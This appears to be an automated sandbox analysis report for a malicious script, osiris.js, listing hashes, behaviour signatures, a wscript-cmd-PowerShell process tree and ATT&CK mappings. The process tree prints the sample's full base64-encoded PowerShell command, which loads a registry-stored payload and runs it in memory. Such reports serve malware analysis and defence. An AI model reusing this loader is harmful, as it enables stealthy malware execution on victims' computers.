11c8dc17d50eb9393ca4b9db2ebf6be0989017cbabf39de8d0520e474ad40eb4

General

Target

osiris.js
Size

2.8MB
MD5

93b238ff0ba3cb0c1921882d90502124
SHA1

9aa505e0f1eb26ca769a715753450c47a89fdcdc
SHA256

11c8dc17d50eb9393ca4b9db2ebf6be0989017cbabf39de8d0520e474ad40eb4
SHA512

d6c7f571b8124b315f1a4eaa5f2aef3772823709957df050a4641ff45429f4891d957a2d9c730d6636f26fa058b6c5cf3bc67107cf5c1de0f1b4c635b6779690

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1592 powershell.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1592 powershell.exe
1592 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1592 powershell.exe

pid	process
1592	powershell.exe

pid	process
1592	powershell.exe
1592	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1592	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

wscript.execmd.exe

description	pid	process	target process
PID 1108 wrote to memory of 1376	1108	wscript.exe	cmd.exe
PID 1108 wrote to memory of 1376	1108	wscript.exe	cmd.exe
PID 1108 wrote to memory of 1376	1108	wscript.exe	cmd.exe
PID 1376 wrote to memory of 1592	1376	cmd.exe	powershell.exe
PID 1376 wrote to memory of 1592	1376	cmd.exe	powershell.exe
PID 1376 wrote to memory of 1592	1376	cmd.exe	powershell.exe
PID 1376 wrote to memory of 1592	1376	cmd.exe	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\osiris.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAagBxAGoAbgBqAGoAcQBjAGgAIAAjAD4AJAB1AD0AJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQA7AGYAbwByACAAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAAxADMAMAAwADsAJABpACsAKwApAHsAJABjAD0AIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXAAiACsAJAB1ACsAIgAxACIAOwBUAHIAeQB7ACQAYQA9ACQAYQArACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AcABhAHQAaAAgACQAYwApAC4AJABpAH0AQwBhAHQAYwBoAHsAfQB9ADsAZgB1AG4AYwB0AGkAbwBuACAAYwBoAGIAYQB7AFsAYwBtAGQAbABlAHQAYgBpAG4AZABpAG4AZwAoACkAXQBwAGEAcgBhAG0AKABbAHAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUAKQBdAFsAUwB0AHIAaQBuAGcAXQAkAGgAcwApADsAJABCAHkAdABlAHMAIAA9ACAAWwBiAHkAdABlAFsAXQBdADoAOgBuAGUAdwAoACQAaABzAC4ATABlAG4AZwB0AGgAIAAvACAAMgApADsAZgBvAHIAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAaABzAC4ATABlAG4AZwB0AGgAOwAgACQAaQArAD0AMgApAHsAJABCAHkAdABlAHMAWwAkAGkALwAyAF0AIAA9ACAAWwBjAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAHkAdABlACgAJABoAHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAaQAsACAAMgApACwAIAAxADYAKQB9ACQAQgB5AHQAZQBzAH0AOwAkAGkAIAA9ACAAMAA7AFcAaABpAGwAZQAgACgAJABUAHIAdQBlACkAewAkAGkAKwArADsAJABrAG8AIAA9ACAAWwBtAGEAdABoAF0AOgA6AFMAcQByAHQAKAAkAGkAKQA7AGkAZgAgACgAJABrAG8AIAAtAGUAcQAgADEAMAAwADAAKQB7ACAAYgByAGUAYQBrAH0AfQBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgAGMAaABiAGEAKAAkAGEALgByAGUAcABsAGEAYwBlACgAIgAjACIALAAkAGsAbwApACkAOwBbAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgApADsAWwBNAG8AZABlAF0AOgA6AFMAZQB0AHUAcAAoACkAOwA= "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1376
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAagBxAGoAbgBqAGoAcQBjAGgAIAAjAD4AJAB1AD0AJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQA7AGYAbwByACAAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAAxADMAMAAwADsAJABpACsAKwApAHsAJABjAD0AIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXAAiACsAJAB1ACsAIgAxACIAOwBUAHIAeQB7ACQAYQA9ACQAYQArACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AcABhAHQAaAAgACQAYwApAC4AJABpAH0AQwBhAHQAYwBoAHsAfQB9ADsAZgB1AG4AYwB0AGkAbwBuACAAYwBoAGIAYQB7AFsAYwBtAGQAbABlAHQAYgBpAG4AZABpAG4AZwAoACkAXQBwAGEAcgBhAG0AKABbAHAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUAKQBdAFsAUwB0AHIAaQBuAGcAXQAkAGgAcwApADsAJABCAHkAdABlAHMAIAA9ACAAWwBiAHkAdABlAFsAXQBdADoAOgBuAGUAdwAoACQAaABzAC4ATABlAG4AZwB0AGgAIAAvACAAMgApADsAZgBvAHIAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAaABzAC4ATABlAG4AZwB0AGgAOwAgACQAaQArAD0AMgApAHsAJABCAHkAdABlAHMAWwAkAGkALwAyAF0AIAA9ACAAWwBjAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAHkAdABlACgAJABoAHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAaQAsACAAMgApACwAIAAxADYAKQB9ACQAQgB5AHQAZQBzAH0AOwAkAGkAIAA9ACAAMAA7AFcAaABpAGwAZQAgACgAJABUAHIAdQBlACkAewAkAGkAKwArADsAJABrAG8AIAA9ACAAWwBtAGEAdABoAF0AOgA6AFMAcQByAHQAKAAkAGkAKQA7AGkAZgAgACgAJABrAG8AIAAtAGUAcQAgADEAMAAwADAAKQB7ACAAYgByAGUAYQBrAH0AfQBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgAGMAaABiAGEAKAAkAGEALgByAGUAcABsAGEAYwBlACgAIgAjACIALAAkAGsAbwApACkAOwBbAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgApADsAWwBNAG8AZABlAF0AOgA6AFMAZQB0AHUAcAAoACkAOwA= "
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1592

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1108-3-0x0000000002FB0000-0x0000000002FB4000-memory.dmp

Filesize
16KB

Download
memory/1376-2-0x0000000000000000-mapping.dmp

Download
memory/1592-10-0x0000000004992000-0x0000000004993000-memory.dmp

Filesize
4KB

Download
memory/1592-11-0x0000000002580000-0x0000000002581000-memory.dmp

Filesize
4KB

Download
memory/1592-6-0x0000000073E00000-0x00000000744EE000-memory.dmp

Filesize
6.9MB

Download
memory/1592-7-0x0000000000F40000-0x0000000000F41000-memory.dmp

Filesize
4KB

Download
memory/1592-8-0x00000000049D0000-0x00000000049D1000-memory.dmp

Filesize
4KB

Download
memory/1592-9-0x0000000004990000-0x0000000004991000-memory.dmp

Filesize
4KB

Download
memory/1592-4-0x0000000000000000-mapping.dmp

Download
memory/1592-5-0x00000000760D1000-0x00000000760D3000-memory.dmp

Filesize
8KB

Download
memory/1592-12-0x0000000002750000-0x0000000002751000-memory.dmp

Filesize
4KB

Download
memory/1592-15-0x00000000056A0000-0x00000000056A1000-memory.dmp

Filesize
4KB

Download
memory/1592-20-0x00000000056F0000-0x00000000056F1000-memory.dmp

Filesize
4KB

Download
memory/1592-21-0x00000000062A0000-0x00000000062A1000-memory.dmp

Filesize
4KB

Download
memory/1592-28-0x0000000006210000-0x0000000006211000-memory.dmp

Filesize
4KB

Download
memory/1592-29-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing